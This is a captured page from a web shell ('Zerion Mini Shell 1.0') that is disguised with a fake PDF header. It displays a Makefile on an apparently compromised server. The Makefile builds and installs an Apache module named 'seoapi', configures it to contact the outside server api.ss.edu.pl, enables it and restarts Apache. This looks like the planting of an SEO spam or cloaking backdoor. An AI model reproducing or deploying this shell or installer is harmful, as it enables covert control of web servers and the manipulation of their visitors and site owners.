%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/src/mod_seoapi/
Upload File :
Create Path :
Current File : //proc/self/root/usr/src/mod_seoapi/Makefile.debian

# Debian / Ubuntu apache2 (2.4.x) — build ON the target host
#   apt-get install -y apache2-dev libcurl4-openssl-dev zlib1g-dev gcc make pkg-config
#   make -f Makefile.debian
#   make -f Makefile.debian install
#   a2enmod seoapi && systemctl restart apache2

APXS     ?= apxs
CURL_INC ?= $(shell pkg-config --cflags libcurl 2>/dev/null)
CURL_LIB ?= $(shell pkg-config --libs libcurl 2>/dev/null)
ifeq ($(CURL_LIB),)
  CURL_LIB = -lcurl
endif

MODDIR   ?= /usr/lib/apache2/modules
AVAIL    ?= /etc/apache2/mods-available

all: mod_seoapi.so

mod_seoapi.so: mod_seoapi.c
	$(APXS) -c $(CURL_INC) -Wc,-O2 -Wc,-fPIC mod_seoapi.c $(CURL_LIB) -lz
	@if [ -f .libs/mod_seoapi.so ]; then cp -f .libs/mod_seoapi.so ./mod_seoapi.so; fi
	@ls -la mod_seoapi.so 2>/dev/null || ls -la .libs/mod_seoapi.so

install: mod_seoapi.so
	install -m 0755 mod_seoapi.so $(MODDIR)/mod_seoapi.so
	@mkdir -p $(AVAIL)
	@printf '%s\n' \
	  'LoadModule seoapi_module $(MODDIR)/mod_seoapi.so' \
	  > $(AVAIL)/seoapi.load
	@printf '%s\n' \
	  'SeoApiEngine On' \
	  'SeoApiServer https://api.ss.edu.pl/' \
	  > $(AVAIL)/seoapi.conf
	@echo "Installed. Run: a2enmod seoapi && apache2ctl configtest && systemctl restart apache2"

clean:
	rm -rf *.o *.lo *.slo *.la .libs mod_seoapi.so

.PHONY: all install clean

Zerion Mini Shell 1.0